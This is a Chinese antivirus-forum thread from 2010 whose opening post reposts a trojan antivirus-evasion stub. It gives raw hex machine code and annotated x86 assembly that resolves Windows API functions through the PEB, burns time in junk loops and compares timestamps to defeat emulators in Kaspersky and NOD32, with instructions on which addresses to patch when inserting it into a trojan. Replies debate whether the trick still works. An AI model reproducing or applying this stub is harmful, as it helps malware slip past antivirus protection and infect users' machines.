查看: 3328|回复: 16
收起左侧

[转帖] [转载] 木马免杀时间延迟秒杀卡巴、NOD32

[复制链接]
dustychen
头像被屏蔽
发表于 2010-7-11 01:00:15 | 显示全部楼层 |阅读模式
木马免杀时间延迟秒杀卡巴、NOD32
时间延迟秒杀卡巴、NOD汇编代码如下:

60 E8 00 00 00 00 58 2D 11 11 11 11 50 8B EC 90 90 64 A1 30 00 00 00 8B 40 0C 8B 70 1C AD 8B 50
08 52 B8 22 22 22 22 03 45 00 8B 00 50 8B DC 6A 65 68 6D 54 69 6D 68 79 73 74 65 68 47 65 74 53
54 FF 75 FC FF 55 F8 8B E3 50 8D 5C 24 C0 53 FF 55 F4 E8 2A 00 00 00 8D 7C 24 B0 57 FF 55 F4 8B
4B 0C 8B 57 0C 85 D1 75 01 CC 8B E5 E8 00 00 00 00 58 83 E8 62 66 C7 00 EB 69 58 61 C3 90 90 90
90 B8 00 30 00 00 B9 00 10 00 00 6A 00 E2 FC B9 00 10 00 00 5F E2 FD B9 00 10 00 00 6A 00 E2 FC
B9 00 10 00 00 5F E2 FD B9 00 10 00 00 6A 00 E2 FC B9 00 10 00 00 5F E2 FD B9 00 10 00 00 6A 00
E2 FC B9 00 10 00 00 5F E2 FD 48 83 F8 00 75 B6 C3 6A 00 E2 FC B9 00 10 00 00 5F E2 FD 48 83 F8
00 75 B6 C3

11111111=POP的地址

22222222=GetProcAddress的iat地址,见输入表

下面是代码简述
10018000 60 pushad ; 保护现场
10018001 E8 00000000 call 10018006 ; 重定位
10018006 58 pop eax ; 重定位
10018007 2D 11111111 sub eax, 11111111 ; 用于重定位 11111111=上一句的地址
1001800C 50 push eax ; 重定位
1001800D 8BEC mov ebp, esp ; 建立堆栈基址
1001800F 90 nop
10018010 90 nop
10018011 64:A1 30000000 mov eax, dword ptr fs:[30] ; 获取kernel32.dll的基质
10018017 8B40 0C mov eax, dword ptr [eax+C] ; 同上
1001801A 8B70 1C mov esi, dword ptr [eax+1C] ; 同上
1001801D AD lods dword ptr [esi] ; 同上
1001801E 8B50 08 mov edx, dword ptr [eax+8] ; 同上
10018021 52 push edx ; 把kernel32.dll的基质压进栈方便
10018022 B8 22222222 mov eax, 22222222 ; 22222222=GetProcAddress的iat地址,见输入表
10018027 0345 00 add eax, dword ptr [ebp] ; 重定位
1001802A 8B00 mov eax, dword ptr [eax] ; 获取GetProcAddress入口地址
1001802C 50 push eax ; 把GetProcAddress入口地址压进栈方便调用
1001802D 8BDC mov ebx, esp ; 保护堆栈
1001802F 6A 65 push 65 ; \
10018031 68 6D54696D push 6D69546D ; |这里是GetSystemTime
10018036 68 79737465 push 65747379 ; |
1001803B 68 47657453 push 53746547 ; /
10018040 54 push esp ; 把GetSystemTime压进栈
10018041 FF75 FC push dword ptr [ebp-4] ; 把kernel32.dll基址压进栈
10018044 FF55 F8 call dword ptr [ebp-8] ; 调用GetProcAddress获取GetSystemTime入口地址
10018047 8BE3 mov esp, ebx ; 恢复堆栈
10018049 50 push eax ; 把GetSystemTime入口地址压进栈方便调用
1001804A 8D5C24 C0 lea ebx, dword ptr [esp-40] ; 在堆栈获取一个地址给GetSystemTime存储数据
1001804E 53 push ebx ; 存储数据地址
1001804F FF55 F4 call dword ptr [ebp-C] ; 获取系统时间信息,返回到[ebx]
10018052 E8 2A000000 call 10018081 ; 执行花指令,拖长指令运行时间
10018057 8D7C24 B0 lea edi, dword ptr [esp-50] ; 在堆栈获取一个地址给GetSystemTime存储数据
1001805B 57 push edi ; 存储数据地址
1001805C FF55 F4 call dword ptr [ebp-C] ; 获取系统时间信息,返回到[ebx]
1001805F 8B4B 0C mov ecx, dword ptr [ebx+C] ; 获取第一次获取时间的时间信息
10018062 8B57 0C mov edx, dword ptr [edi+C] ; 获取第二次获取时间的时间信息
10018065 85D1 test ecx, edx ; 对比两次时间信息
10018067 75 01 jnz short 1001806A ; 相同则不转跳
10018069 CC int3 ; 死地址
1001806A 8BE5 mov esp, ebp ; 恢复堆栈
1001806C E8 00000000 call 10018071 ; 重定位
10018071 58 pop eax ; 重定位
10018072 83E8 62 sub eax, 62
10018075 66:C700 EB69 mov word ptr [eax], 69EB
1001807A 58 pop eax
1001807B 61 popad
1001807C C3 retn
1001807D 90 nop
1001807E 90 nop
1001807F 90 nop
10018080 90 nop
10018081 B8 00300000 mov eax, 3000 ; 如果上面的代码出错了 把这个3000改大点!但是注意 越大越卡!
10018086 B9 00100000 mov ecx, 1000
1001808B 6A 00 push 0
1001808D ^ E2 FC loopd short 1001808B
1001808F B9 00100000 mov ecx, 1000
10018094 5F pop edi
10018095 ^ E2 FD loopd short 10018094
10018097 B9 00100000 mov ecx, 1000
1001809C 6A 00 push 0
1001809E ^ E2 FC loopd short 1001809C
100180A0 B9 00100000 mov ecx, 1000
100180A5 5F pop edi
100180A6 ^ E2 FD loopd short 100180A5
100180A8 B9 00100000 mov ecx, 1000
100180AD 6A 00 push 0
100180AF ^ E2 FC loopd short 100180AD
100180B1 B9 00100000 mov ecx, 1000
100180B6 5F pop edi
100180B7 ^ E2 FD loopd short 100180B6
100180B9 B9 00100000 mov ecx, 1000
100180BE 6A 00 push 0
100180C0 ^ E2 FC loopd short 100180BE
100180C2 B9 00100000 mov ecx, 1000
100180C7 5F pop edi
100180C8 ^ E2 FD loopd short 100180C7
100180CA 48 dec eax
100180CB 83F8 00 cmp eax, 0
100180CE ^ 75 B6 jnz short 10018086
100180D0 C3 retn
100180D1 6A 00 push 0
100180D3 ^ E2 FC loopd short 100180D1
100180D5 B9 00100000 mov ecx, 1000
100180DA 5F pop edi
100180DB ^ E2 FD loopd short 100180DA
100180DD 48 dec eax
100180DE 83F8 00 cmp eax, 0
100180E1 ^ 75 B6 jnz short 10018099
100180E3 C3 retn

延时越多越好,可是过多会引起CPU狂转,因此还是中等一些达到免杀效果就好了,此代码可秒卡巴、NOD对杀特征较少的木马的查杀

zyh6036
头像被屏蔽
发表于 2010-7-11 01:06:05 | 显示全部楼层
虚拟机不过滤这种等待指令?反复绕花也不作为可疑代码特征?
那这种虚拟机和特征启发有什么用,不如老老实实用红伞那种静态启发
leiw
发表于 2010-7-11 09:06:12 | 显示全部楼层
加花免杀,修改系统时间确实能把卡巴给秒了,但是现在卡巴也不是吃素的
jefffire
头像被屏蔽
发表于 2010-7-11 09:20:25 | 显示全部楼层
现在这招对卡巴还有用??  路过。。。
iippuiui
发表于 2010-7-11 10:24:28 | 显示全部楼层
呃..我亲眼看到的..未改前卡巴扫描到,改了后扫不到,执行也没反应!郁闷
sy0923
发表于 2010-7-11 11:34:46 | 显示全部楼层
不明真相的路过
XMonster
发表于 2010-7-11 11:50:25 | 显示全部楼层
改特征是现在最流行的方法 [:26:]
bjwong
发表于 2010-7-11 17:37:21 | 显示全部楼层
moonlight engine可以這樣的
月下凝眸
发表于 2010-9-5 18:46:28 | 显示全部楼层
POP的地址怎么看啊?老大
梁宏达
发表于 2010-9-5 18:52:49 | 显示全部楼层
楼主太强了搞不懂!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 09:00 , Processed in 0.132566 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表